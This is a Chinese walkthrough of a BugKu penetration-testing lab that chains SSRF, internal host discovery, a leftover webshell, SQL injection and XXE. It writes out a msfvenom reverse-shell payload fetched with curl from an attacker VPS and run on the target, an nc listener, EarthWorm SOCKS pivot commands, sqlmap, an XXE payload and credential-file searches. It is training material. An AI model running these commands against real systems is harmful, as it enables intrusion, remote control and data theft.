BugKu渗透测试实战从SSRF到内网漫游的完整WriteUp附详细步骤最近在复现一个经典的渗透测试靶场时我完整走了一遍从外部漏洞发现到内网横向移动的路径。整个过程涉及多个漏洞点的串联对于想深入理解内网渗透流程的朋友来说是个不错的练习案例。这篇文章我就以这个靶场为例拆解每一步的操作思路、用到的工具以及可能遇到的坑希望能给正在学习安全攻防技术的你一些实战参考。无论你是刚入门渗透测试的新手还是想巩固内网知识的安全工程师相信都能从中找到值得琢磨的细节。1. 目标侦察与SSRF漏洞的发现与利用打开靶场提供的Web应用第一眼看上去是个功能简单的界面。常规的目录扫描、参数Fuzz是起步操作但在这个场景下我很快注意到一个关键点应用似乎提供了某种URL处理或请求代理的功能。这种功能往往是SSRF服务器端请求伪造的温床。为了验证猜想我尝试让应用去访问一个它本不该访问的资源。经典的测试点是读取系统文件比如/etc/passwd。在参数中构造类似file/etc/passwd或urlfile:///etc/passwd的Payload具体取决于漏洞点如何解析输入。如果应用未对协议和路径做严格过滤就可能成功。注意测试SSRF时不要只尝试file://协议。dict://、gopher://、http://对内网服务的探测同样重要这能为后续内网漫游铺路。果不其然应用返回了/etc/passwd文件的内容。这证实了SSRF漏洞的存在并且服务器权限可能不低能够读取敏感文件。更关键的是我们拿到了第一个Flag这通常意味着完成了第一个阶段性目标。但渗透测试远不止于此。SSRF的真正威力在于它可以作为一个“跳板”让攻击者从外网视角转变为“内网视角”。接下来我们的目标就是利用这个SSRF去探查应用服务器所在的内部网络环境。2. 内网存活主机探测与信息收集确认SSRF漏洞可利用后下一步就是探索内网。我们假设靶场环境的内网网段是常见的192.168.0.0/24或192.168.1.0/24。如何高效地探测这些网段中哪些IP存活并开放了Web服务呢手动一个个尝试显然不现实。这里我使用了Burp Suite的Intruder模块。具体步骤如下定位攻击点在Burp中抓取含有SSRF参数的请求。设置Payload位置将请求中指向外部URL的参数值如urlhttp://example.com标记为Payload位置。配置Payload选择Payload类型为“Numbers”。为了生成IP地址我们可以这样设置格式选择192.168.0.§§§假设探测0网段。设置数字范围从1到254步长为1。这样Intruder就会自动生成192.168.0.1到192.168.0.254的Payload。开始攻击启动Intruder攻击观察服务器的响应。在响应中我们需要关注长度Length和状态码Status与基线请求明显不同的条目。很快我发现了几个有回应的IP地址192.168.0.1可能是网关、192.168.0.10、192.168.0.138和192.168.0.250。这些IP很可能对应着内网中的其他服务器或设备。为了进一步确认可以手动在SSRF参数中构造请求访问这些IP的默认HTTP端口如urlhttp://192.168.0.10。访问192.168.0.10时页面显示“网站被黑了”之类的提示这反而暗示该主机上存在一个Web应用只是当前状态异常。这激起了我的兴趣。3. 通过SSRF访问内网WebShell与初步立足既然192.168.0.10有Web服务接下来就是信息收集。尝试访问一些常见路径比如/phpinfo.php、/test.php或者用目录扫描工具通过SSRF代理去扫。但这里有一个更直接的发现通过构造urlhttp://192.168.0.10/shell.php服务器返回了内容。这很可能是一个遗留的或被植入的WebShell。尝试访问该Shell并传入常见的参数如?cmdwhoami或者查看页面源代码寻找密码输入框。在这个案例中该WebShell的密码是cmd。使用密码成功连接后就获得了在该Web服务器上的命令执行权限。提示内网发现的WebShell在使用前务必谨慎。最好先执行一些无害命令如id、pwd、uname -a确认环境避免触发警报或破坏性操作。在WebShell中可以直接查找Flag文件通常位于根目录、Web目录或用户主目录。使用find / -name *flag* 2/dev/null或cat /flag等命令成功拿到了该主机上的Flag。然而一个WebShell的交互性通常较差功能也受限。为了进行更深入的内网渗透我们需要一个更稳定、功能更全面的连接也就是反弹Shell。4. 建立持久化连接与内网代理搭建为了获得一个交互式的Shell我选择在可控的公网VPS上监听一个端口然后在目标WebShell上执行命令让目标机主动连接我的VPS。首先在VPS上生成一个反向Shell的Payload。使用msfvenom可以方便地生成各种类型的Payloadmsfvenom -p linux/x64/shell_reverse_tcp LHOST你的VPS_IP LPORT4444 -f elf -o reverse.elf这个命令生成了一个Linux x64的反向TCP连接的可执行文件reverse.elf连接回LHOST的4444端口。接着需要在目标服务器上下载并执行这个Payload。由于有WebShell我们可以通过多种方式上传使用wget或curl直接从VPS下载curl http://你的VPS_IP/reverse.elf -o /tmp/reverse.elf如果网络不通可以考虑将Payload编码后通过echo写入。下载后赋予执行权限并运行chmod x /tmp/reverse.elf cd /tmp ./reverse.elf 同时在VPS上使用nc监听对应端口nc -lvnp 4444成功接收到反弹的Shell后我们就获得了一个更稳定的连接。接下来是关键一步将这台已控服务器作为跳板访问内网其他机器。这里我使用了reGeorg的Socks代理功能但更轻量级的方式是使用EarthWormew或Neo-reGeorg。以ew为例在目标服务器有公网IP或能出网上传对应的socks5服务器端程序如ew_for_linux64并运行./ew_for_linux64 -s ssocksd -l 1080这样就在目标机的1080端口开启了一个Socks5代理服务。然后在我的本地攻击机上通过SSH隧道或ew的客户端将这台内网机器的1080端口映射到本地# 在VPS上执行将内网目标机的1080端口转发到VPS的9999端口 ./ew_for_linux64 -s rcsocks -l 9999 -e 1080 # 在已控WebShell上执行连接回VPS ./ew_for_linux64 -s rssocks -d 你的VPS_IP -e 9999最后在本地浏览器或扫描器中配置代理为SOCKS5://你的VPS_IP:9999接下来的流量就会通过跳板机流入内网。5. 内网横向移动漏洞利用与权限提升建立了稳定的内网代理后就可以系统地扫描和攻击其他发现的内网主机了。针对192.168.0.138通过代理访问http://192.168.0.138发现是一个Web应用。初步测试发现某个参数存在SQL注入漏洞。使用sqlmap通过代理进行自动化检测和利用非常方便sqlmap -u http://192.168.0.138/vuln.php?id1 --proxysocks5://你的VPS_IP:9999 --dbs通过注入成功获取了数据库信息并在某个表中找到了Flag。这个过程展示了如何利用常见的Web漏洞在内网中获取信息。针对192.168.0.250访问该IP的网站发现一个登录界面。尝试弱口令admin/admin但登录无反应。通过Burp抓取登录请求包发现提交的数据格式可能是XML。这立刻让人联想到XXEXML外部实体注入漏洞。构造一个简单的XXE Payload来测试?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] userxxe;/user将上述XML作为请求体发送如果应用解析了XML并回显了实体内容我们就能看到/etc/passwd文件。测试成功确认存在XXE漏洞。随后利用该漏洞读取了系统根目录及Web目录下的Flag文件。针对192.168.0.10已控主机的深入虽然我们已经通过WebShell控制了这台机器但为了巩固权限或探索更多信息可以进行本地信息收集和提权检查。检查项常用命令目的系统信息uname -a,cat /etc/os-release了解内核版本和发行版用户和组id,whoami,cat /etc/passwd查看当前权限和用户列表网络信息ifconfig,netstat -antp,ss -tulnp查看网卡、开放端口、连接进程信息ps aux,top查看运行进程找可疑服务计划任务crontab -l,ls -la /etc/cron*查看定时任务SUID文件find / -perm -4000 -type f 2/dev/null查找有SUID权限的可执行文件敏感文件find / -name *.log -o -name *.conf -o -name *id_rsa* 2/dev/null查找日志、配置、密钥文件通过这些检查可能会发现配置错误、弱密码、可利用的SUID程序如find、vim、bash等或明文存储的凭证从而将权限从Web用户提升至root。整个内网漫游的过程本质上是一个“发现-利用-扩大战果”的循环。从最初的一个SSRF点我们逐步摸清了内网结构利用多个独立漏洞SSRF、弱口令/遗留后门、SQL注入、XXE在不同主机上获取了敏感信息Flag并建立了代理通道以便持续探索。在实际的渗透测试或红队评估中思路是相通的只是目标更加复杂需要更多的耐心、技巧和自动化工具的结合。最后别忘了清理痕迹但在这个练习靶场中我们的主要目标是学习和理解整个攻击链的构建。